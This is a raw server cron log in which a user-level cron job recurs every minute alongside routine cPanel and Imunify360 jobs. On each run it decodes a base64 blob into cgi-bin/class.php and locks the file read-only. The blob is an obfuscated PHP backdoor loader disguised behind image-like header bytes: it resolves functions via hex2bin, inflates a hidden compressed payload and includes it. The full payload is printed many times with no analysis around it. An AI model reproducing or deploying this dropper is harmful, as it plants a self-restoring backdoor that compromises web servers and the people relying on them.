Sep 11 17:44:01 server CROND[28576]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:44:01 server CROND[28577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:44:01 server CROND[28578]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:45:01 server CROND[28964]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:45:01 server CROND[28966]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 17:45:01 server CROND[28967]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 17:45:01 server CROND[28969]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:45:01 server CROND[28973]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 17:45:01 server CROND[28971]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:45:01 server CROND[28972]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 17:46:01 server CROND[29795]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:46:01 server CROND[29796]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:46:01 server CROND[29797]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:47:01 server CROND[30189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:47:01 server CROND[30188]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:47:01 server CROND[30190]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:48:01 server CROND[30585]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:48:01 server CROND[30586]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:48:01 server CROND[30587]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:49:01 server CROND[31078]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:49:01 server CROND[31079]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:49:01 server CROND[31080]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:50:01 server CROND[31474]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 17:50:01 server CROND[31477]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 17:50:01 server CROND[31479]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 17:50:01 server CROND[31478]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 17:50:01 server CROND[31483]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:50:01 server CROND[31484]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:50:01 server CROND[31482]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:50:01 server CROND[31480]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 17:50:01 server CROND[31481]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 17:51:01 server CROND[32309]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:51:01 server CROND[32310]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:51:01 server CROND[32311]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:52:01 server CROND[32751]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:52:01 server CROND[32752]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:52:01 server CROND[32753]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:53:01 server CROND[725]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:53:01 server CROND[726]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:53:01 server CROND[727]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:54:01 server CROND[1190]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:54:01 server CROND[1191]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:54:01 server CROND[1192]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:55:01 server CROND[1762]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 17:55:01 server CROND[1764]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 17:55:01 server CROND[1766]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 17:55:01 server CROND[1765]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:55:01 server CROND[1768]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 17:55:01 server CROND[1769]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:55:01 server CROND[1767]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
